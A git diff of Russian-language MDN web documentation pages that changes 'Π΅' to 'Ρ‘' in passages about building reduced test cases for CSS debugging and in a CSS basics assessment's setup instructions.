+<p>Π­Ρ‚ΠΎ Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° изучСнная Π²Π°ΠΌΠΈ информация ΠΎ спСцифичности ΠΏΡ€ΠΈΠ΄Ρ‘Ρ‚ Π²Π°ΠΌ Π½Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒ. Если Ρƒ вас имССтся Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ спСцифичноС, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚ΡƒΠΏΠΈΡ‚ΡŒ Π² ΠΎΡ‡Π΅Π½ΡŒ Ρ€Π°ΡΡΡ‚Ρ€Π°ΠΈΠ²Π°ΡŽΡ‰ΡƒΡŽ ΠΈΠ³Ρ€Ρƒ ΠΏΡ‹Ρ‚Π°ΡΡΡŒ Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ ΠΆΠ΅ ΠΈΠΌΠ΅Π½Π½ΠΎ. Однако, ΠΊΠ°ΠΊ описано Π²Ρ‹ΡˆΠ΅, DevTools ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΠΊΠ°ΠΊΠΎΠΉ CSS примСняСтся, ΠΈ Π²Ρ‹ смоТСтС Ρ€Π΅ΡˆΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ сСлСктор достаточно спСцифичным Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΅Π³ΠΎ.</p>
-<h3 id="Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅_сокращСнный_ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ_ΠΏΡ€ΠΈΠΌΠ΅Ρ€_ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹">Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ <span class="tlid-translation translation" lang="ru"><span title="">сокращСнный ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</span></span> ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹</h3>
+<h3 id="Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅_сокращённый_ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ_ΠΏΡ€ΠΈΠΌΠ΅Ρ€_ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹">Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ <span class="tlid-translation translation" lang="ru"><span title="">сокращённый ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</span></span> ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹</h3>
<p>Если ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π½Π΅ Ρ€Π΅ΡˆΠ΅Π½Π° шагами, описанными Π²Ρ‹ΡˆΠ΅, Ρ‚ΠΎΠ³Π΄Π° Π²Π°ΠΌ Π½Π°Π΄ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ своСго Ρ€ΠΎΠ΄Π° расслСдованиС. Π›ΡƒΡ‡ΡˆΠ΅Π΅ Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π² этом случаС это ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½Π΅Ρ‡Ρ‚ΠΎ извСстноС ΠΊΠ°ΠΊ с<span class="tlid-translation translation" lang="ru"><span title="">ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</span></span>. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ "ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ" β€” Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΉ Π½Π°Π²Ρ‹ΠΊ. Он ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ Π½Π°ΠΉΡ‚ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ ΠΊΠ°ΠΊ Π² вашСм собствСнном ΠΊΠΎΠ΄Π΅, Ρ‚Π°ΠΊ Π² ΠΊΠΎΠ΄Π΅ Π²Π°ΡˆΠΈΡ… ΠΊΠΎΠ»Π»Π΅Π³, Π° Ρ‚Π°ΠΊΠΆΠ΅ <span class="tlid-translation translation" lang="ru"><span title="">ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π²Π°ΠΌ ΡΠΎΠΎΠ±Ρ‰Π°Ρ‚ΡŒ ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… ΠΈ Π±ΠΎΠ»Π΅Π΅ эффСктивно ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ Π·Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ.</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ </span></span>β€” <span class="tlid-translation translation" lang="ru"><span title="">это ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ дСмонстрируСт ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ самым простым способом с ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ΠΌ нСсвязанного ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΈ стиля.Β </span></span> <span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎ часто Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° ΠΈΠ· вашСго ΠΌΠ°ΠΊΠ΅Ρ‚Π° (</span></span>layout<span class="tlid-translation translation" lang="ru"><span title="">), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ нСбольшой ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ этот ΠΊΠΎΠ΄ ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ </span></span>β€” <span class="tlid-translation translation" lang="ru"><span title="">это ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ дСмонстрируСт ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ самым простым способом с ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ΠΌ нСсвязанного ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΈ стиля.Β </span></span> <span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎ часто Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° ΠΈΠ· вашСго ΠΌΠ°ΠΊΠ΅Ρ‚Π° (</span></span>layout<span class="tlid-translation translation" lang="ru"><span title="">), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ нСбольшой ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ этот ΠΊΠΎΠ΄ ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.</span></span></p>
-<p>Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ сокращСнного ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°:</p>
+<p>Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ сокращённого ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°:</p>
<ol>
- <li>Если ваша Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° гСнСрируСтся динамичСски β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‡Π΅Ρ€Π΅Π· CMS β€” сдСлайтС ΡΡ‚Π°Ρ‚ΠΈΡ‡Π½ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ Π²Ρ‹Π²ΠΎΠ΄Π°, которая ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ. Π‘Π°ΠΉΡ‚Ρ‹ ΠΎΠ±ΠΌΠ΅Π½Π° ΠΊΠΎΠ΄Π°ΠΌΠΈ ΠΊΠ°ΠΊ <a href="https://codepen.io/">CodePen</a> ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌΠΈ для размСщСния сокращСнных ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ доступны ΠΎΠ½Π»Π°ΠΉΠ½, ΠΈ Π²Ρ‹ Π»Π΅Π³ΠΊΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ΄Π΅Π»ΠΈΡ‚ΡŒΡΡ с ΠΊΠΎΠ»Π»Π΅Π³Π°ΠΌΠΈ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ страницу Π²ΠΎ View Source ΠΈ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ HTML Π² CodePen, Π·Π°Ρ‚Π΅ΠΌ Π²Π·ΡΡ‚ΡŒ Ρ€Π΅Π»Π΅Π²Π°Π½Ρ‚Π½Ρ‹ΠΉ CSS ΠΈ JavaScript ΠΈ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΈΡ… Ρ‚ΠΎΠΆΠ΅. ПослС этого Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Π° Π»ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°.</li>
+ <li>Если ваша Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° гСнСрируСтся динамичСски β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‡Π΅Ρ€Π΅Π· CMS β€” сдСлайтС ΡΡ‚Π°Ρ‚ΠΈΡ‡Π½ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ Π²Ρ‹Π²ΠΎΠ΄Π°, которая ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ. Π‘Π°ΠΉΡ‚Ρ‹ ΠΎΠ±ΠΌΠ΅Π½Π° ΠΊΠΎΠ΄Π°ΠΌΠΈ ΠΊΠ°ΠΊ <a href="https://codepen.io/">CodePen</a> ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌΠΈ для размСщСния сокращённых ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ доступны ΠΎΠ½Π»Π°ΠΉΠ½, ΠΈ Π²Ρ‹ Π»Π΅Π³ΠΊΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ΄Π΅Π»ΠΈΡ‚ΡŒΡΡ с ΠΊΠΎΠ»Π»Π΅Π³Π°ΠΌΠΈ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ страницу Π²ΠΎ View Source ΠΈ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ HTML Π² CodePen, Π·Π°Ρ‚Π΅ΠΌ Π²Π·ΡΡ‚ΡŒ Ρ€Π΅Π»Π΅Π²Π°Π½Ρ‚Π½Ρ‹ΠΉ CSS ΠΈ JavaScript ΠΈ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΈΡ… Ρ‚ΠΎΠΆΠ΅. ПослС этого Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Π° Π»ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°.</li>
<li>Если ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ JavaScript Π½Π΅ устраняСт ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, Ρ‚ΠΎ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°ΠΉΡ‚Π΅ JavaScript. Если ΠΆΠ΅ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ JavaScript <em>устраняСт</em> ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, Ρ‚ΠΎΠ³Π΄Π° ΡƒΠ΄Π°Π»ΠΈΡ‚Π΅ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ JavaScript, сколько смоТСтС, оставляя всС Ρ‡Ρ‚ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ.</li>
- <li>Π£Π΄Π°Π»ΠΈΡ‚Π΅ вСсь HTML ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ влияСт Π½Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ. Π£Π΄Π°Π»ΠΈΡ‚Π΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π³Π»Π°Π²Π½Ρ‹Π΅ элСмСнты ΠΌΠ°ΠΊΠ΅Ρ‚Π°. ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅ ΠΏΠΎΡΡ‚Π°Ρ€Π°ΠΉΡ‚Π΅ΡΡŒ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ наимСньшСго количСства ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ всС Π΅Ρ‰Π΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ.</li>
+ <li>Π£Π΄Π°Π»ΠΈΡ‚Π΅ вСсь HTML ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ влияСт Π½Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ. Π£Π΄Π°Π»ΠΈΡ‚Π΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π³Π»Π°Π²Π½Ρ‹Π΅ элСмСнты ΠΌΠ°ΠΊΠ΅Ρ‚Π°. ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅ ΠΏΠΎΡΡ‚Π°Ρ€Π°ΠΉΡ‚Π΅ΡΡŒ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ наимСньшСго количСства ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ всС Π΅Ρ‰Ρ‘ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ.</li>
<li>Π£Π΄Π°Π»ΠΈΡ‚Π΅ вСсь CSS ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ влияСт Π½Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ.</li>
</ol>
-<p>Π’ процСссС Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ причиняСт ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ ΠΈΠ»ΠΈ, хотя Π±Ρ‹, смоТСтС Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π΅Π΅ ΠΏΡƒΡ‚Π΅ΠΌ удалСния Ρ‡Π΅Π³ΠΎ-Ρ‚ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ. Π‘Ρ‚ΠΎΠΈΡ‚ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Ρ‚ΠΎ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΊΠΎΠ΄Ρƒ ΠΏΠΎ Ρ…ΠΎΠ΄Ρƒ изучСния Π²Π΅Ρ‰Π΅ΠΉ. Если Π²Π°ΠΌ Π½Π°Π΄ΠΎ ΠΏΠΎΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ ΠΏΠΎΠΌΠΎΡ‰ΠΈ, Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΏΠΎΠΊΠ°ΠΆΡƒΡ‚ Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΡƒ, ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‰Π΅ΠΌΡƒ Π²Π°ΠΌ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡƒΠΆΠ΅ ΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ. <span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ достаточно ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ для поиска Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΈ ΠΎΠ±Ρ…ΠΎΠ΄Π½Ρ‹Ρ… ΠΏΡƒΡ‚Π΅ΠΉ.</span></span></p>
+<p>Π’ процСссС Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ причиняСт ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ ΠΈΠ»ΠΈ, хотя Π±Ρ‹, смоТСтС Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π΅Ρ‘ ΠΏΡƒΡ‚Ρ‘ΠΌ удалСния Ρ‡Π΅Π³ΠΎ-Ρ‚ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ. Π‘Ρ‚ΠΎΠΈΡ‚ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Ρ‚ΠΎ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΊΠΎΠ΄Ρƒ ΠΏΠΎ Ρ…ΠΎΠ΄Ρƒ изучСния Π²Π΅Ρ‰Π΅ΠΉ. Если Π²Π°ΠΌ Π½Π°Π΄ΠΎ ΠΏΠΎΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ ΠΏΠΎΠΌΠΎΡ‰ΠΈ, Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΏΠΎΠΊΠ°ΠΆΡƒΡ‚ Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΡƒ, ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‰Π΅ΠΌΡƒ Π²Π°ΠΌ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡƒΠΆΠ΅ ΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ. <span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ достаточно ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ для поиска Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΈ ΠΎΠ±Ρ…ΠΎΠ΄Π½Ρ‹Ρ… ΠΏΡƒΡ‚Π΅ΠΉ.</span></span></p>
<p>If you are still struggling to fix the problem then having a reduced test case gives you something to ask for help with, by posting to a forum, or showing to a co-worker. You are much more likely to get help if you can show that you have done the work of reducing the problem and identifying exactly where it happens, before asking for help. A more experienced developer might be able to quickly spot the problem and point you in the right direction, and even if not, your reduced test case will enable them to have a quick look and hopefully be able to offer at least some help.</p>
diff --git a/files/ru/learn/css/building_blocks/fundamental_css_comprehension/index.html b/files/ru/learn/css/building_blocks/fundamental_css_comprehension/index.html
index 2e47ff1cdf..eb4a2d4b0f 100644
--- a/files/ru/learn/css/building_blocks/fundamental_css_comprehension/index.html
+++ b/files/ru/learn/css/building_blocks/fundamental_css_comprehension/index.html
@@ -28,7 +28,7 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS
<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹:</p>
<ul>
- <li>ΠŸΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΈ ΡΠΊΠ°Ρ‡Π°Ρ‚ΡŒ <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/index.html">HTML Ρ„Π°ΠΉΠ» для упраТнСния</a> ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/chris.jpg">связанный Ρ„Π°ΠΉΠ» изобраТСния</a>, ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΡ… Π² Π½ΠΎΠ²ΡƒΡŽ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ Π½Π° локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свой собствСнный Ρ„Π°ΠΉΠ» изобраТСния ΠΈ Π²ΠΏΠΈΡΠ°Ρ‚ΡŒ своС имя, Ρ‚ΠΎ поТалуйста β€” Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½ΠΎΠ΅.</li>
+ <li>ΠŸΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΈ ΡΠΊΠ°Ρ‡Π°Ρ‚ΡŒ <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/index.html">HTML Ρ„Π°ΠΉΠ» для упраТнСния</a> ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/chris.jpg">связанный Ρ„Π°ΠΉΠ» изобраТСния</a>, ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΡ… Π² Π½ΠΎΠ²ΡƒΡŽ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ Π½Π° локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свой собствСнный Ρ„Π°ΠΉΠ» изобраТСния ΠΈ Π²ΠΏΠΈΡΠ°Ρ‚ΡŒ своё имя, Ρ‚ΠΎ поТалуйста β€” Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½ΠΎΠ΅.</li>
